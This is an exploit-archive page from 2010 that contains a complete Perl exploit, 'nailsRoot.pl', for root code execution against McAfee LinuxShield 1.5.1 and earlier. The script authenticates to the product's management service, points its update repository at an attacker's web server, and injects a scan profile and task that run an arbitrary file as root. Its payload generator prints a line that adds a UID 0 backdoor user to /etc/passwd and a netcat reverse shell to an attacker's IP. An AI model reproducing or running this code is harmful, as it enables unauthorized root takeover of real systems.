McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execut
Posted on 27 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================ McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution ============================================================ #!/usr/bin/perl ## # Title: McAfee LinuxShield <= 1.5.1 Local/Remote Root Exploit # Name: nailsRoot.pl # Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de> # WARNING: This Exploit deletes the default Update Server # # Use it only for education or ethical pentesting! The author accepts # no liability for damage caused by this tool. # ## use strict; use IO::Socket::SSL; use Getopt::Std; my %args; my $ack; my $timestamp; getopt('h:p:u:v:e:a:g:', \%args); my $gen_exec = $args{g}; if (defined $gen_exec) { genEx($gen_exec); } my $target_host = $args{h} || usage(); my $target_port = $args{p} || 65443; my $nails_user = $args{u} || usage(); my $nails_pass = $args{v} || ""; my $exec_path = $args{e} || "/opt/McAfee/cma/scratch/update/catalog.z"; my $my_host = $args{a} || ""; my $range = 50000000; my $minimum = 90000000; my $randomtask = int(rand($range)) + $minimum; my $pre="sconf ODS_99 "; my $post="x0dx0a"; my $setrepo1='db set 1 _table=repository status=1 siteList=<?xml version="1.0" encoding="UTF-8"?><ns:SiteLis'. 'ts xmlns:ns="naSiteList" GlobalVersion="20030131003110" LocalVersion="20091209161903" Type="Clie'. 'nt"><SiteList Default="1" Name="SomeGUID"><HttpSite Type="repository" Name="EvilRepo" Order="1"'. ' Server="'; my $setrepo2=':80" Enabled="1" Local="1"><RelativePath>nai</RelativePath><UseAuth>0</UseAut'. 'h><UserName></UserName><Password Encrypted="0"/></HttpSite></SiteList></ns:SiteLists> _cmd=update'; my $setsite="task setsitelist"; my $begin="begin"; my$set="set "; my $profile=" nailsd.profile.ODS_99.allFiles=true nailsd.profile.ODS_99.childInitTmo=60". " nailsd.profile.ODS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=10000 nailsd.profile.ODS". "_5.datPath=/opt/NAI/LinuxShield/engine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.profile.". "ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibDir=/opt/NAI/LinuxShield/engine/lib nailsd.prof". "ile.ODS_99.enginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so". " nailsd.profile.ODS_99.factoryInitT". "mo=60 nailsd.profile.ODS_99.heuristicAnalysis=true nailsd.profile.ODS_99.macroAnalysis=true nailsd.p". "rofile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99.mime=true nailsd.profile.ODS_99.noJokes=false nails". "d.profile.ODS_99.program=true nailsd.profile.ODS_99.quarantineChildren=1 nailsd.profile.ODS_99.quaran". "tineDirectory=/quarantine nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.profile.ODS_99.scan". "Children=2 nailsd.profile.ODS_99.scanMaxTmo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profil". "e.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=true nailsd.profile.ODS_99.scannerPath=". "$exec_path". " nailsd.profile.ODS_99.scansPerChild=10000 nailsd.profile.ODS_99.sl". "owScanChildren=0 nailsd.profile.ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.filter.0.pat". "h=/proc nailsd.profile.ODS_99.filter.0.subdir=true nailsd.profile.ODS_99.filter.extensions.mode=all ". "nailsd.profile.ODS_99.filter.extensions.type=extension nailsd.profile.ODS_99.action.Default.primary=". "Clean nailsd.profile.ODS_99.action.Default.secondary=Quarantine nailsd.profile.ODS_99.action.App.pri". "mary=Clean nailsd.profile.ODS_99.action.App.secondary=Quarantine nailsd.profile.ODS_99.action.timeou". "t=Pass nailsd.profile.ODS_99.action.error=Block"; my $commit="commit "; my $setdb=" _table=schedule taskName=$randomtask taskType=On-Demand taskInfo=profileName=ODS_99,". "paths=path:/root/tmp;exclude:false timetable=type=unscheduled taskResults=0 i_lastRun=1260318482 status=Stopped _cmd=insert"; #update _where= i_taskId=2"; my $execupd="task nstart LinuxShield Update"; my $execute="task nstart $randomtask"; banner(); if ($exec_path eq "/opt/McAfee/cma/scratch/update/catalog.z") { if ($my_host eq "") { usage(); } stOne(); }else{ stTwo(); } sub stOne { my $reposock = IO::Socket::SSL->new( PeerAddr => $target_host, PeerPort => $target_port, Proto => 'tcp', ); if (defined $reposock) { print "[*] Executing Stage One "; print "----------------------- "; $ack=<$reposock>; print $ack; print $reposock "auth ".$nails_user." ".$nails_pass.$post; $ack=<$reposock>; if ($ack=~m/ERR authentication failure/){ print "[-] Authentication failed... "; exit(1); } print $ack; sleep(1); print "[+] Repo update: inject evil repo "; print $reposock $setrepo1.$my_host.$setrepo2.$post; sleep(1); print "[+] Repo Site update: update site task "; print $reposock $setsite.$post; $ack=<$reposock>; print $ack; sleep(1); print "[+] Execute AV Update: downloading evil code "; print $reposock $execupd.$post; sleep(5); # Update needs a bit time $reposock->shutdown(1); } stTwo(); } sub stTwo { my $sock = IO::Socket::SSL->new( PeerAddr => $target_host, PeerPort => $target_port, Proto => 'tcp', ); if (defined $sock) { print " [*] Executing Stage TWO "; print "----------------------- "; $ack=<$sock>; print $ack; print $sock "auth ".$nails_user." ".$nails_pass.$post; $ack=<$sock>; if ($ack=~m/ERR authentication failure/){ print "[-] Authentication failed... "; exit(1); } print $ack; sleep(1); print $sock $pre.$begin.$post; $ack=<$sock>; print $ack; $ack=~s/+OK //g; $timestamp=$ack; $timestamp=~ s/s+$//; print "[+] Timestamp: $timestamp "; print "[+] Profile: Injecting evil Profile "; print $sock $pre.$set.$timestamp.$profile.$post; sleep(1); print "[+] Commit: Profile changes "; print $sock $pre.$commit.$timestamp.$post; sleep(1); print "[+] Schedule: Injecting evil task $randomtask "; print $sock "db set ".$timestamp.$setdb.$post; sleep(1); print "[+] Excute: Task $randomtask "; print $sock $execute.$post; $sock->shutdown(1); print "[+] Done... Check whatever you did "; } else { print "[-] some troubles with connection: $! " ; } } sub usage { print " "; print " nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit "; print "=============================================================== "; print " Usage: "; print " $0 -h <target ip> -u <user> -v <pass> [-a <my host>|-e <executable>] "; print " Optional: "; print " -a <attacker host with httpd> "; print " -e <executable file on target host> "; print " -p <target port (default: 65443)> "; print " -g (1|2) <generat shell scripts to execute> "; print " 1 <UID 0 user add> "; print " 2 <reverse nc shell> "; print " Notes: "; print " -We can not handle arguments given to executable "; print " in the -e option. "; print " -To download your own evil executable, start a httpd "; print " and set the -a option. Create the directory <nai> in "; print " your wwwroot and rename your executable to <catalog.z> "; print " Author: "; print " Nikolas Sotiriu (lofi) "; print " url: www.sotiriu.de "; print " mail: lofi[at]sotiriu.de "; print " "; exit(1); } sub genEx { my ($code)=@_; if ($code==1) { print STDERR << "EOF"; ============== UID 0 user add ============== Copy this lines to the catalog.z file. USER=haxxor PASS=haxxorPass -------------- cut -------------- #!/bin/sh echo haxxor:AzFQk89Xgpp8s:0:0::/:/bin/sh >> /etc/passwd -------------- /cut -------------- EOF } elsif ($code==2) { print STDERR << "EOF"; ============== reverse nc shell ============== Copy this lines to the catalog.z file. -------------- cut -------------- #!/bin/sh nc -nv <yourip> 4444 -e /bin/sh -------------- /cut -------------- EOF } exit(1); } sub banner { print STDERR << "EOF"; -------------------------------------------------------------------------------- nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit -------------------------------------------------------------------------------- 111 1111111 11100 101 00110111001111 11101 11 10 111 101 1001111111 1101 11 00 10 11 11 111 1111111101 10111 1 10 11 10 0 10 1 1 1 1111111011 1111 1 1 10 0 01 01 01 1 1 111 1111011101 1000 0 11 10 10 0 10 11 111 11111 11 1111 111100 1111111111 01 10 10 11 01 0 11 11111111111 1 1111 11 10111110 0 01 00 11 1110 11 10 11111111111 11 11111 11 111 101111111 0 10 01 11 1 11 0 10 11 1111111111111111 1111110000111 011111 0110 10 10 0 11 1 11 01 01 111111111111111 1 11110011001 1011111 0110 10 11 1110 11 1 10 11111111111111111111 1 100 001 1011111 0 10 10 01 1 0 1 11 1 111111111111111111111111 001101 011111 0 0 0 11 0 1111 0 11 01111111111111111111111111 01 1111111 01 01 111 1 1111 1 11 1111111111111111111111 1101 1111 111 1111 10 0 111110 0111 0 1 0111111111111111111111 11111 1111 111 11111 1 11 1 1 1 111 11 11111111111111111111111110 1001 111 1011111 1 11111111110111111111111111111111111111111 01 10111001 11 1100 10110110 10001 11101111111111111111 10 111 11100 111 00 1011101 00101 0 11111111111111111001 11 111101 11 00 00 101 1000011 1011 1111 1111111000 1111111 0 11 00 0 1011 100001 101000 1 1001 00001111 01 01101 11111 1011 01100 0101 110 11 10 10111 1 0 01 0000011 10 10 10011 11100 1111 101 11 1110 01 101011 1001100 1111000011 1 111 11000001111 1 EOF } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-27]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
